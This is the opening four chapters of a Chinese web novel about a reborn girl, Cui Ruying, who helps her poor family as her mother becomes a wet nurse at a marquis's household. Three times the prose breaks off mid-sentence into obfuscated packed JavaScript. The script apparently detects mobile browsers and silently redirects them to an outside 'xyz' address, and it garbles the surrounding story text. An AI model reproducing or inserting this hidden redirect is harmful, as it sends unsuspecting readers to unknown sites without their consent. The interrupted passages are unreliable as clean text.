《市井生活日常》 1. 第一章 做奶娘 月光从窗扇透进来，把这被隔板分出来的小屋照的甚是明亮，崔如英一时半会儿睡不着，就半眯着打盹儿，刚有那么点困意，却听见了铜板儿碰撞的声音。 爹娘数钱呢？ 崔如英没动，耳朵却竖了起来。 她听见许娘子一边数一边小声记着，崔大山倒是安静。 铜板落下叮当响，钱匣子里空当当，也就一小会儿，许娘子数到四百二十文就停下了。 接着许娘子又道：“这儿还有半两碎银子呢。” 崔大山叹了口气，“明儿我去赵哥家换只鸡，你还坐月子呢，这个不能省。再把我衣裳补补，反正你绣工好，也看不出什么来。” 许娘子小声道：“这都二十多天了，别喝鸡汤了，你出门在外，还是得体面点，衣裳都补丁摞补丁了，衣裳钱不能省。” 崔大山粗声道：“有啥可体面的，衣服能穿不就行了，你身子养好才是正事。” 许娘子道：“谁家娘子坐月子隔两日就喝鸡汤，你说家里又多了张吃饭的嘴，不然再托人打听打听，问问谁家缺奶娘不？” 许娘子生养孩子不少，这回月子坐得也不错，奶水多，当奶娘可比做绣活赚的多多了，“你说大郎还有两三年也该娶媳妇儿，当个学徒还不够，总得置办间新房，明儿我托刘姐去问问。” 崔大山道：“也好，那家里……” 许娘子道：“家里就交给二丫三丫吧，三丫也大了，能看着点妹妹。” 崔如英本来就没睡着，闻此话算是彻底精神了。 三丫……三丫是她呀。 她也看着？ 家里人多，三间房中间是厨房，西边崔大郎和二丫一分为二，崔如英不愿跟着姐姐挤，才央着许娘子把东屋用木板子隔了一一小间出来。 至于为啥不求崔大山，这家里爹听娘的。 穿过来也有些年头了，崔如英还没习惯自己的新名字。其实能托生到这样的人家还算不错，爹娘感情和睦，住在京中南巷，虽是穷人住的地方，可好歹有三间房，邻里偶有摩擦但大体和睦，不用理会烦人亲戚，大哥姐姐懂事，爹娘也不是重男轻女的。 搁几年前日子也不错，可怪就怪爹娘感情实在太和睦了。 不说三年抱俩，但从崔如英出生到现在七岁，已经多了两个弟弟一个妹妹。 这个时代，越生越穷。 崔家现在一家八口人，崔大山做木匠每月能赚五钱，许娘子也能做绣活补贴家用，可许娘子生孩子就得坐月子，崔大山又是个疼媳妇的，鸡鸭鱼肉，什么都舍得买。 媳妇吃了也不能苦着孩子，总会分给孩子几口，崔如英记得她两三岁时，家里还时常还能吃到点心。 现在就不行了，一家人的口粮衣裳就足够两人发愁了。 她出生时许娘子就去当奶娘了，当时是因为奶水多，给普通人家奶孩子，一个月给的钱也不多。 后来去了伯府，给的银子是不少，可想着给崔大郎交束脩，又买了房子，如今家里穷，崔大郎已经不读书了，而是继承崔大山的衣钵，去木匠坊当学徒。 崔如英不是个懂事的孩子，上头有大的，下面有小的，她这个夹中间的，如果不为自己争取争取，那只能受夹板子气。 会哭的孩子才有糖吃。 她嘴甜能闹，加上崔大山样貌憨厚，许娘子容貌平平，却生了她这个美人胚子，还能不多疼些。 让她留在家里照顾弟弟妹妹，她才不干。 许娘子又喂了喂小女儿，夫妻俩絮絮叨叨说着话，崔如英听着听着就睡着了。 次日一早，是崔大山跟二丫做的饭，崔大郎在边上烧火。 大哥二姐比崔如英大几岁，现在已经能帮家里干活了，崔大郎一会儿还要去学木工，崔如英爱躲懒，但今儿早上她乖乖地守着炉子里煨的鸡汤。 许娘子还在坐月子，昨日的鸡汤没喝完，看煮好了，崔如英也不顾烫，盛了一大碗赶紧端到床边，“娘，你快喝，还热着呢。” 一大碗里有汤有肉，只不过崔大山厨艺平平，也不太好吃。 不过这个时代有肉吃已是不错了，许娘子喝了几口汤，崔如英就在旁边眼巴巴瞅着。 许娘子舀了口肉递到崔如英嘴边，若是二丫，肯定说娘你吃，但崔如英张嘴把肉吃了，“娘你真好，女儿以后一定孝顺你。” 许娘子笑着道：“等你孝顺还得等几年呢，快吃饭去吧。” 崔如英舔了舔嘴巴，那边崔大山已经把饭给盛好了。 她人小，碗也小，昨天炖鸡还剩些鸡架，炒了一大锅白菜。现在才三月份，白菜是去年冬天留的。 小米粥面饼子，崔大山崔大郎还要去木匠坊，几口喝完小米粥然后拿着玉米面饼子路上吃。他俩中午不回来，临走时崔大山嘱咐二丫照顾好许娘子。 崔二丫哎了一声，崔如英吃了几口，还剩半碗，“姐你喝吧，我去看看娘。” 崔二丫：“你不要啦。” 崔如英点点头把碗放下，去了东屋，许娘子已经喝完鸡汤了，崔如英利索地把碗筷收了，“娘你吃饱了吗，我再给你拿个面饼子。” 许娘子觉得三丫今天殷勤的厉害，“这还吃不饱，你呀又憋什么坏招呢？” 崔如英随口扯道：“昨儿晚上做梦，又梦见娘生六妹那天了，听娘喊疼，我心里好难受。” 生孩子就是闯回鬼门关，许娘子生了六回，虽然有经验，可哪回不是疼得死去活来，就是生得快也疼。 许娘子闻言有些动容，“这不是好了吗，你看你妹妹。” 再苦再疼，看见孩子什么都忘了，许娘子一脸柔情，母女亲近的确让人动容，但很快，崔如英心又提起来，许娘子不会是想让她多亲近亲近，等去了侯府，把孩子给她一扔。 崔如英道：“害娘受苦，我才不喜欢，而且丑丑的。” 崔六丫身上的红色还没褪去，跟小猴子似的。 许娘子笑了笑，只当是小孩赌气的话，“长开了就好了，二丫，你一会儿啊去你刘婶儿家，请刘婶儿过来，别空着手去，鸡汤还剩多少？给盛碗过去。” 崔如英点点头，出去的时候崔二丫在刷碗，屋里说话外头也能听见。她没解释，盛了碗鸡汤，看着油太多，止住了偷喝一口的念头，稳稳当当端着去了刘婶儿家。 刘婶儿家在后面那条巷子，拐进去第二家就是。 门大敞着，应该是吃过早饭了，刘婶儿在院子里洗衣裳，崔如英喊了一声，“婶子！” 刘婶儿比许娘子胖些，穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660113|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗布衣裳，头发用布巾包着，说话爽利，“三丫来啦，哎呀，来就来，还带东西干啥。” 崔如英道：“我娘就跟婶子好，谁都不惦记，就惦记着婶子，还热着呢。” 刘婶儿搁衣服把手擦了擦，“快进来，快进来。” 崔如英：“待就不待了，我娘请婶子过去看看。” 刘婶儿也痛快，拿着鸡汤进屋倒碗里，又把崔家的碗刷刷还给崔如英：“走吧。” 崔如英去得快回来得也快，只不过刚带着人回来，许娘子就打发她们出去玩。 崔如英明白，这是不想让她们偷听。 玩儿也是在院子里玩，早起还有些冷，崔二丫闲不住，把院子里菜畦的草拔了，崔如英竖着耳朵，不过里面人说话声音小，也听不太清。 等了约两刻钟，许娘子送刘婶儿出来，刘婶儿摆摆手，“还坐着月子呢，就别送了。” 崔如英眼疾手快地薅了把小白菜，刚冒头不然也得间苗，绳子一捆递给刘婶儿，“婶子你拿着。” 刘婶儿一笑，回头对许娘子道：“我给你问问，放心，肯定给你办妥了。” 崔如英：“婶子我送送你吧。” 刘婶儿笑了笑，崔如英往外送了送，这才回去，回屋里就问许娘子，“娘，你找刘婶儿啥事呀。” 许娘子没看崔如英道：“你打听这干啥。” 还没准儿呢，许娘子不打算和家里人说，再过几天就出月子了，希望能传来好消息。 崔如英每天晚上偷听爹娘说话，听着家里没钱，两人为崔大郎娶媳妇发愁，听崔大山换了两只鸡，许娘子嫌他乱花钱。 一句一句为家里和孩子打算，崔如英也想帮家里赚钱，可是人小，会得太多也说不过去。 不过许娘子都觉得她可以照顾妹妹了，那就已经不把她当孩子了。 过了两天，刘婶儿又登门了，崔如英看刘婶儿脸上带着笑，心想，这带来的应该是好消息。 这回待得时间长了点，得有半个时辰。 许娘子眼里带笑，从屋里出来让崔如英送送刘婶儿，“三丫，送送你婶子。” 刘婶儿道：“哎，不用了。” 崔如英：“婶子我送送你。” 这回薅了两把小葱。 晚上吃饭的时候，许娘子告诉一家人这个好消息，“安定侯府的三娘子还有一个多月就临盆了，正找奶娘呢，明儿我去试试，要是成了，家里就二丫三丫照顾着。” 其他的都还好说，许娘子唯一放心不下的就是刚出生的小女儿。 不过等侯府三娘子孩子生了，六丫也就两个多月了，到时候喂点米糊糊，四郎五郎都是这么养大的。 崔大山道：“你放心去，家里有我们呢。” 崔大山相貌憨厚，唯一出彩的就是眼睛，肩膀宽厚身材高大，一家人守着一盏油灯，崔大山的影子也长，看着十分可靠。 崔二丫道：“娘你放心吧，我肯定照顾好弟弟妹妹。” 崔大郎大约是知道，母亲去当奶娘多半是为了自己，低着头，声音有些弱，“娘，家里还有我呢。” 四郎和五郎一个四岁一个两岁，什么都不懂，可崔如英懂啊。 崔如英道：“娘，让我跟你一块儿去吧。” 2. 第二章 安定侯府 崔如英也不全是为了躲懒才想跟着去的。 当奶娘不是牵了线就万无一失，许娘子虽然从前做过奶娘，但是京中人这么多，大户人家选奶娘自然千挑万选，半点马虎不得。 上两回还是在伯爵府，这回去侯府，许娘子都不知道能不能成。 一个孩子，捣什么乱。 许娘子道：“这可是正经事儿，你去捣什么乱。” 许娘子以为崔如英想去是想去见识见识侯府什么样，大户人家体面，曾经去伯府做奶娘，那高宅大院，头一回看得她眼睛都直了。 不过这是大事，平日多疼些也就罢了，这种时候可不能由个孩子胡来。 崔如英喝了口稀粥，说道：“娘，我去怎么就是捣乱了？你想想，你去侯府，那是大户人家，人家肯定什么都看。那做奶娘不得天天看着孩子，所以人家肯定得看奶娘的品性。 你把我教养得这么好，人家要是看到我也能安心不是。” 许娘子听完一愣，三丫的确比二丫爱说话，刘姐今天来的时候还夸了两句，说三丫招人稀罕，大大方方的。 二丫就老实，见外人也不爱说话。 大郎偶尔还会有不好意思的时候，但是三丫从来不会。 他们夫妻俩都是老实人，不会说好听的话，但三丫回回都能把人哄得高高兴兴的。 许娘子其实也爱听好听的。 长得好看，嘴甜，可去侯府，许娘子还是怕她添乱。 许娘子嘴上敷衍着，“再说吧，快吃饭，再不吃该凉了。” 崔如英想还得再劝劝，反正她不留在家里看孩子，看孩子事儿可多了，喂饭哄哭，还得洗尿布。 想法子是一回事儿，饭还得吃。 晚饭一大锅稀粥，许娘子喝了新炖的鸡汤，这么多孩子，也舍不得自己在那儿喝。 一人给夹了小块儿肉。 崔大山没要，崔大郎也没要，两个小的只知肉香，囫囵给吞下去，崔二丫也想像崔如英一样，说句好听的然后把肉吃了，可又把肉给许娘子夹了回去，“娘，你吃吧。” 崔如英低着头吃完，冲许娘子笑了笑，“娘，这肉真好吃，等娘去了侯府，咱们就能天天吃肉了，六丫也能长快点。” 别人家觉得孩子天天想吃肉是馋，可崔如英是为了家里着想，又是为了妹妹，许娘子也说不出怪她的话来。 看着一群孩子，许娘子的确觉得，三丫的确更大方，不认生，吃饭样子也好看。 看四郎五郎，吃一嘴。 奶娘算不得下人，在伯爵府一个月还有二两银子，照顾得好还有赏钱，喂养个一年半载就不用人了，侯府给的银钱只多不少。 离侯府三娘子临盆还有一个多月，一般大户人家会请两个奶娘，刘婶儿说已经定下来一个了。 这附近生孩子的也有，虽然有人牵线，可也不是非她不可。 许娘子坐月子算到今天是二十八天，明天二十九天，出门也不妨事儿。 但到底带不带崔如英，许娘子睡觉前都没想好。 崔如英这回没听爹娘俩人说话，她怕明天早上许娘子直接就走了，那可就完了。 被子一蒙，早早就睡下了。 月升月落，天色是暗的，天边刚露出鱼肚白，巷子里许多人家还没起，可崔家烟囱已经冒烟了。 崔大山烧了大锅热水，给许娘子打了进来，兑上凉水，水温适中，“娘子，成了。” 大户人家什么都看重，许娘子洗了头发把身上擦干净，换了身干净衣裳，只不过生了孩子，身量比原来胖，穿的有些紧。 梳洗完，许娘子喝了几口鸡汤，再一看，不知道何时崔如英已经穿好衣服了。 这才什么时辰。 崔如英年纪小，以往就用红绳子梳个双丫髻，但今天她把红绳子编到头发里，看着也是耳目一新。衣裳整整齐齐，平日就爱干净，虽然有块补丁，可显得立整。 眉眼生得好看，眼睛像崔大山，白净的皮肤随了许娘子，年画娃娃似的。 看着就讨喜。 崔如英道：“娘，你就让我跟你一块去呗，那么远呢，我还能帮你拎东西。” 城南都是没钱的住，有钱的都在城北。 许娘子舍不得坐车，自然得走着去。 崔大山道：“你就让她跟着吧，大不了在门口等着。” 许娘子松了口，“走吧。” 崔如英一笑，“爹娘，你们真好！” 出门早，许娘子就喝了鸡汤，吃个了鸡腿，分了崔如英一块儿肉，崔大山又从灶膛里摸出两个烤红薯。 外面没黑，还冒着热气，有蜜油已经挣破红薯皮流出来了。 崔如英欢呼道：“我一个，娘一个！” 许娘子笑了笑，摸摸崔如英的脑袋，“走吧。” 没去过侯府，到时候还得打听打听在那条街，许娘子喝了鸡汤，倒是不饿，但崔如英也没吃。 饿还是有点饿的，但她说，“娘，红薯我用油纸包上了，拿着能暖手。要是没选上，咱们不还有两个烤红薯回来路上吃。” 许娘子本来心里还紧张，听这话倒是笑了笑，“走吧。” 三月份，刚开春，早起还冷呢。 许娘子不能受寒气，有个烤红薯正正好。 这会儿天刚亮，一大一小往城北走，城南热闹，这会儿已经有摆摊卖早饭的了，一个个小摊子，豆浆油条冒着热气，竹屉里的肉包子圆滚滚的，阳春面烧饼馅饼，勾着崔如英肚子里的馋虫。 她想，自己做的更好吃，有了钱什么都能做。 城南到城北，有十里多，许娘子原本以为崔如英会喊累，但是走到城北，也没听女儿吭一声。 平日里最爱撒娇，今儿可不一样。 到了城北，却不知安定侯府在哪儿。 崔如英道：“娘，我去打听吧。” 许娘子没拒绝，崔如英没来过这边，相比于城南，人少了不少，街道也更宽，一座座宅院好像能吃人，门口的狮子一家比一家的大，各家门口有小厮打扫门庭。 崔如英找了一个看着面善的，“小哥，可知安定侯府怎么走。” 小斯看了看崔如英，“后头那条街的第二家。” 崔如英：“谢谢小哥！” 崔如英回去跟许娘子道：“娘，不远，在后街，第二家就是。” 许娘子想，不管为啥，带着女儿来还是好，方便省事儿，这么小啥事儿都给办妥了。 虽然在后街，可一条街宽，也不像在城南一家挨着一家的，走过去也花了一刻钟。 许娘子有些紧张，崔如英让许娘子弯腰，“娘，你低点。” 许娘子不明所以，弯着腰问：“咋啦？” 崔如英给她理了理衣襟，“好啦。” 许娘子点点崔如英的鼻子，“走吧，咱们进去。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660114|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔如英：“我去问！” 家家都有门房小厮，崔如英认识门匾的字，可又不该认识，就脆声问门房小厮道：“小哥，我们是城南崔家的，这可是安定侯府？” 出门在外，尤其是到大户人家，先得自报家门。 小厮道：“是，小娘子找谁呀。” 崔如英道：“我们找府上三娘子，三娘子要临盆，正给小公子找奶娘，我娘想来试试看。” 说小公子总不会错。 小厮道：“劳请等一会儿，我进去通传。” 许娘子看着崔如英，侯府门庭比伯府还要大气，也不知此番能不能成事，等了一好一会儿，小厮过来跟两人道：“我们三娘子请二位进去。” 安定侯府的庭院宽阔，早春晨起，小厮丫鬟打扫庭院，也能见几缕春色。 跟这小厮往前走，许娘子本来害怕崔如英东张西望，胡乱看，但是她目不斜视，比谁都规矩。 也不知走了多久，可算到了一处院子外，看着院子比整个崔家都大。 站在门口等通传，没多一会儿，一个穿着绿色衣裳的丫鬟出来的，“我们三娘子请二位进去。 许娘子哎了一声，虽然不能多看，可眼睛还是能看见许多东西。 一个丫鬟穿的都齐整，侯府比伯爵府更大更富贵。 进了屋，许娘子把头低下，学着以前看见的样子行了个礼，“见过三娘子。” 崔如英扫了一眼，就把头低了下去。 安定侯府的陆三娘子还有一个月就临盆了，她坐在太师椅上，人看着并不胖，带着点母性的光辉，肚子圆滚滚的。 头发挽成一个团髻，上面桂红的抹胸，下面是初桃粉的百迭裙，因为肚子大，还穿了枣红色长褙子，上面刺绣多，但是崔如英只看了一眼，也没看清是什么花纹。 崔如英道：“见过三娘子。” 陆三娘子见状笑了笑，这小姑娘倒是讨喜。 陆三娘子已经寻到一个奶娘了，第二个看了几个也不合适，然后娘家表嫂问了一嘴，说有一个人合适，她就想看看。 崔家上下也都打听清楚了，这许娘子曾经在永康伯府当过一年多奶娘，说性子老实憨厚，不过耳听为虚，眼见为实。 看样子是老实，不太爱说话。像刚生产过的，看衣裳干净，打扮得也齐整。许娘子看着紧张，手握在一起，不住地扭，看指甲也干干净净。 还有这小姑娘……瞧着讨喜。 陆三娘子问道：“小姑娘，你是？” 崔如英道：“回三娘子，这是我娘，我是她女儿。我娘过来，路太远了，我帮着拿些东西。” 陆三娘子觉得这孩子好玩，她是头胎，所以慎重，选个奶娘也得精挑细选。这么个孩子，比大人说话可信。 都说童言无忌，陆三娘子没问许娘子，反而问起了崔如英，“你今年多大了？” 崔如英答道：“我今年七岁了。” 陆三娘子：“家里几口人？” “家中一共八口，爹娘两人，一位兄长，一位姐姐，两个弟弟一个妹妹。” 陆三娘子道：“你可知你娘今日过来为了什么？” 崔如英道：“当然知道了，我家里人多，爹娘又舍不得苛待我们任何一个，所以就需要银子。我娘来侯府喂小公子，多的银子妹妹能吃饱，其他人也能吃好一点。” 许娘子紧张地看着陆三娘子，见陆三娘子笑了笑。 3. 第三章 敲定 许娘子紧张地看着陆三娘子，见陆三娘子笑了笑。 陆三娘子为肚子里的孩子找奶娘，这孩子幼时，必然是乳母带大，奶水足不足是一回事，还得看奶娘品性如何，能不能教养好孩子。 倒不是说把教养孩子的重任给她们，可是耳濡目染，奶娘也至关重要，有个好奶娘能省不少事儿呢。 这世人多重男轻女，若是许娘子带着她儿子来，陆三娘子不会信。可见许娘子的女儿聪慧乖巧，规规矩矩还不怯场，可见这家的确把孩子养的好。 不过做奶娘还是得看奶水，其他的都是次要。 陆三娘子道：“一会儿请大夫看看，没什么事就定下来，月钱每月三两，你只需照顾好孩子。 我临盆还得一个多月，十日后你就住进来吧，孩子生下来前可以常回家中，不过不能离府超过两个时辰，出门前要跟我身边的李嬷嬷说一声。” 许娘子连哎了几声，“都听三娘子的！” 崔如英笑了笑，也高兴。 陆三娘子也笑了，摸着肚子冲崔如英招了招手，“你愿不愿意跟你娘一起住进来，常过来陪我说说话？” 崔如英愣了愣，她还琢磨怎么顺利住进侯府呢，没想到陆三娘子主动问她。 许娘子开口道：“三娘子，小孩子没个规矩……” 她怕陆三娘子喜欢三丫，一来二去的，就成了侯府的丫鬟。 侯府是富贵不假，可是当丫鬟给人为奴为婢，那许娘子宁可过贫苦日子。 崔如英道：“三娘子，我当然愿意呀，我娘一个人来这么远的地方，我还不放心呢。跟我娘过来，我还能帮着分担一二。” 陆三娘子不禁道：“你倒是孝顺。” 她嫁进来一年多，这才有孕，除了期许，也希望孩子能灵透些。 陆三娘子唤道：“李嬷嬷。” 一直站在陆三娘子身后的嬷嬷从袖子里拿了个荷包出来，陆三娘子拿过来，塞给崔如英，“行了，你在这儿等会儿，让你娘去看看大夫吧。” 许娘子被侍女带去了，崔如英冲着陆三娘子笑了笑，“三娘子你就放心吧，我娘生我时也去做奶娘了，我喝剩的一点点奶都能长这么高。” 陆三娘子被逗得一笑，她觉得这家孩子养得应该都不错，或许崔如英是最爱说话，可别的孩子应该也懂事本分，品性不会差了。 过了约两刻钟，崔如英和陆三娘子说话嘴巴都快干了，许娘子才回来，这看也并非乱看，要请大夫看看身体如何，有没有病症，生产时是否亏了气血。 再请有经验的嬷嬷看奶水足不足，身上有没有病症。 崔大山舍得花银子，这几样许娘子都过关了。 这个月份生产的妇人是不少，可是家里舍不得花钱，还让人出来做奶娘，那就异想天开了。 今日就没别的事儿了，陆三娘子道：“许娘子，你十日后住进来吧，李嬷嬷，拿我的牌子去马房，让人送许娘子母女俩回去。” 崔如英刚刚的确说了，两人走着过来的，从城南到城北，看了一路风景呢。 许娘子受宠若惊，“哪里还要这样麻烦……” 陆三娘子：“天还冷，时辰也不早了，早些回去吧。” 如今有孕，家里看重，这点主哪能做不了。别说让崔如英过来说话，就算她高兴多叫几个许家人，家里也没人说什么。 崔如英：“多谢三娘子！” 许娘子也道：“谢谢三娘子。” 李嬷嬷给安排好了马车，这是崔如英第一次坐马车，也是许娘子第一次坐。 从前在伯爵府做奶娘，可没这待遇，青葱顶的马车，能遮风挡雨，一辆车就得一百多两银子呢。 坐上车许娘子不禁感叹，“陆三娘子可真是个好人。” 崔如英没说话，看了看马车，然后又状似刚想起什么来似的把荷包拿出来，“娘，你总说我什么时候才能孝顺你，看，这不就等到了。” 许娘子看着女儿，心里有些动容，一方面觉得这是陆三娘子给女儿的，她嘴笨，单她自己去肯定没赏钱。另一方面又觉得这钱让崔如英拿着，甩吧甩吧就得弄丢了。 许娘子道：“娘拿着吧。” 崔如英也没犹豫就给许娘子了，她是缺钱用，可是这么多年吃家里的喝家里的，现在正是缺钱的时候。 再说人太小，许娘子也不放心，日后拿钱的机会多，何必为这回赏钱银争来争去弄得谁都不高兴。 崔如英往许娘子怀里一钻，刚洗过头擦过身子，许娘子身上有淡淡的香味，她道：“娘，我好饿呀。” 许娘子记起出门之前拿了烤红薯，可这会儿肯定凉了，来时路上崔如英看着城南卖早摊的摊贩儿，看了好几眼，她道：“那等到城南让车夫停一下，娘给你买两个肉包子吃。” 崔如英笑了笑，“娘，咱们俩一起吃，对了，快看看多少钱？” 许娘子把荷包打开，这么多年下来掂着银子也能掂出来多重，二两多，看来陆三娘子今儿高兴。 许娘子小声道：“有二两多银子呢。” 买包子用铜板，一个素包子一文钱，肉包子两文，出门许三许娘子带了钱，倒不是多大的事儿。 母女俩卯时就出门了，走了半个多时辰，又在安定侯府待了半个多时辰，这会儿应该还未过辰时。 坐马车的确要快得多，崔如英时不时掀开车帘子，快到时钻出去对车夫道：“车夫大哥，把我和我娘放在这里就行了，我们还要去买些东西。” 人给送到就行，车夫在路边停了车。 崔如英先跳下去，然后才把许娘子扶了下来，两人下了车，许娘子对着车夫点点头道了声有劳了。 街上依旧热闹，不过有些晚了，那些摊贩都准备收摊了。 许娘子怕女儿吃不上，这答应的事她不想反悔，拉着崔如英快步摊贩那儿赶。只不过还是晚了，卖包子的已经收好摊了，包子一个都不剩。 许娘子看看崔如英，崔如英仰头看看许娘子，“娘，都卖完了。” 许娘子道：“不然咱们吃些别的，要不来碗阳春面？烧饼成不成？” 崔如英道：“娘，要不买些肉回去蒸包子吧，自己做便宜，还能多蒸点。” 若是以往许娘子给崔如英买个烧饼也就打发了，有的吃就行，哪里能挑三拣四。可今儿实在高兴，又得了银子，想想自己坐月子每日喝鸡汤，女儿吃那么小口肉，哪儿能解馋。 便点了点头。 一斤猪肉九文钱，肥瘦相间的五花要十二文， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660115|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔如英拉着许娘子往猪肉摊那儿走。 虽说这会儿没卖早饭的了，但是肉还有很多。 崔如英问好摊主价钱，然后看看许娘子，“娘，咱们家这么多人，一斤肉是不是不够吃啊？” 崔大山这些日子省吃俭用的，大郎二丫懂事儿，许娘子摸摸怀里的银子说道：“买两斤猪肉。” 崔如英跟着卖肉的大伯道：“大伯，给我们搭个大骨头呗。” 骨头没什么肉，向来是做添头的 看崔如英爱说话，长得也好看，头几个生意，添根骨头就添根骨头。 摊贩麻溜的称好肉，给许娘子看了看秤，“这可高高的啊。” 拿线把肉穿上，许娘子没来得及伸手，就被崔如英接了过来。骨头用叶子绑上，崔如英一手一个，等许娘子付了钱，母女俩这就往家走了。 崔如英看着肉是真高兴，加上这么多年一点点长大，走路就忍不住又蹦又跳。许娘子看着她不禁笑了笑，不过还是忍不住道：“慢点走慢点走，着什么急呢！” 崔如英当然着急，这都什么时辰了，还得发面蒸包子呢！ 回去的一路上还遇见不少熟人，许娘子笑着跟人打招呼。 本来崔家在巷子里还算日子不错的，可孩子越来越多，日子反倒是没别人家好了。见了许娘子，也有人打听她去干什么了，许娘子笑笑没说话。 至于肉，她想，别人家偶尔能闻到炖肉的香味儿，真正在乎肉的，也就崔如英了。崔如英提着肉跑回家，进家门先喊姐，“姐！姐！你快去发面，咱们家中午要包包子！” 崔二丫比崔如英大三岁，这会儿刚给小妹妹洗完尿布，四郎五郎就在地里玩，看见崔如英手里的肉眼睛都直了，不过长这么大一直不敢惹崔如英，所以不敢动。 二丫看见肉也是高兴，问崔如英：“娘呢？” 崔如英道：“后头呢，后头呢。” 二丫往门口望了望，很快许娘子就进来了。崔大山中午不回来，二丫问：“娘，中午包吗？” 答应的事儿不好反悔，大不了叫中崔大山中午回来吃。她月子也做完了，又不是不能干活，她道：“中午包吧，等我洗个手。” 崔如英把肉放到厨房，就去地里薅小葱了，她要吃酱肉包，放多多的葱，汤汁浸透包子皮的那种。 她道：“娘你快歇着吧，我跟姐一块儿就行。” 许娘子还不知道女儿啥德性，做活能躲就躲，懒蛋一个。 从小到大没做过，哪里会这个。 崔如英笑嘻嘻道：“我给姐帮忙，你不是还没出月子吗，快进屋去暖和暖和，都半天没看见六丫了，你不想呀。” 许娘子的确想小女儿，养大这么多孩子，刚生出来软软一团，再想过阵子就要去侯府，虽然能回来，可到底是委屈了。 许娘子嘱咐二丫，“别让你妹妹添乱。” 二丫看着肉，点点头，崔如英已经薅了一大把葱回来了，看许娘子进屋，问二丫，“二姐，你吃过酱肉包吗，我有回出门，看人做过，那肉馅儿可好吃了，又嫩又香，咬一口可香了呢。就放一点点甜酱，那包子做出来里面的汤汁都能把包子皮给浸破了。 看着比娘做的好吃一百倍，二姐，我来弄馅儿，你发面吧。” 4. 第四章 能吃四个 家里是有老面的，崔二丫也会发面。 崔二丫是想吃，可还在犹豫，娘刚嘱咐了不让三丫胡来。 崔如英道：“怕啥？做的不好吃，挨打的是我又不是你，你就说被我逼的。” 二丫想，妹妹嘴甜爱闹，吃不少吃，还能把爹娘哄得一愣一愣的，让她挨打，长长记性也好。 “行，那我去发面了。” 崔如英美滋滋地看着这两块肉，这会儿肚子已经过了饿的时候，她非得等着吃包子才行。 菜刀用磨刀石磨磨，肉先切成小块才剁的肉馅，光小葱崔如英就切了半盆。 还捞出些就着蒜和姜块花椒泡着热水。 小葱还没长太大，又细又绿，葱白短短的，切到盆中，翠绿色中只带一点白。 能做包子崔如英借口是看过街头卖包子的，但其实不然，追根究底是她以前会做，上一世她是做销售的，什么都卖过，早些年把胃给搞坏了，后头赚了钱，就不愿意亏着自己的嘴。 不管是去外面吃还是自己做，总想办法吃得好点儿。 买的肉瘦多肥少，这样的肉做馅儿就会导致太干，所以要多加葱多加水。 崔如英想吃酱肉包，家里老酱还有一些，肉馅儿一分为二，一半儿拌好葱，另一半用锅和热油炒熟，加上酱油老酱炒出油脂和酱香味。 用甜面酱最好，不过家中没有，崔如英就把酱里加点了糖，调出差不多的味道。 炒酱的时候崔二丫就在旁边的面板子上揉面，四郎五郎扒着门一直往里看，时不时地舔嘴唇。 崔如英往那边看了一眼，一句话没说两个弟弟就跑得飞快。 家里爹娘都不怕，最怕崔如英这个姐姐。 二丫见过三丫打弟弟，所以俩人才怕她，搁她她是不敢的。看这架势，从前连饭都没做过，这要白瞎了两斤肉，娘不揍她才怪。 崔二丫一边揉面，一边看着崔如英炒肉馅儿，她还没见过谁家这么做馅儿的。心里觉得油放多了，又觉得这味儿挺香。 炒好的肉馅儿趁热拌到刚才的生肉馅里去，崔如英这回一边往里面加那葱姜花椒水，一边搅拌，分了几次，一大碗水都水进去了，却不见水的影子。 生熟肉馅连着刚冒出来不久的小葱混为一团，颜色的确是崔如英跟二丫说的酱色。 崔如英动力满满，想着一会儿能吃肉包子，这会累一点也值，有了吃的还缺喝的，她一扭头对上崔二丫的眼睛，“姐，你一会儿把骨头也炖了呗。” 那么一根没肉的骨头，就算再做也不能在骨头上雕朵花儿出来。 面已经发上了，二丫放在了炉子上，这天气有老面不行，还得暖和。 面还得发一会儿，崔二丫又去炖大骨头，一根骨头里面放了不少萝卜白菜。 等着包子快包好的时候，许娘子出来看了看，厨房收拾得极其干净，馅儿都在面里，崔如英对着许娘子讨好地笑了笑。 她又对着外面喊了一声，“四郎，你去木匠坊找爹，让他中午回来吃，不许瞎玩乱跑，不然我打断你腿！” 崔二丫摸了摸头发，既没告状，也没说别的，让她抢功劳她也做不到。 许娘子刚刚喂了小女儿，又把屋里收拾了收拾。她看了一眼面板上白胖白胖的馒头，也不知崔如英调馅儿，大的应该是二丫包的，小的估计是三丫包的，她人小，头一回包还挺像样，包子上的籽儿整齐得狠。 许娘子心道，还像那么回事儿。 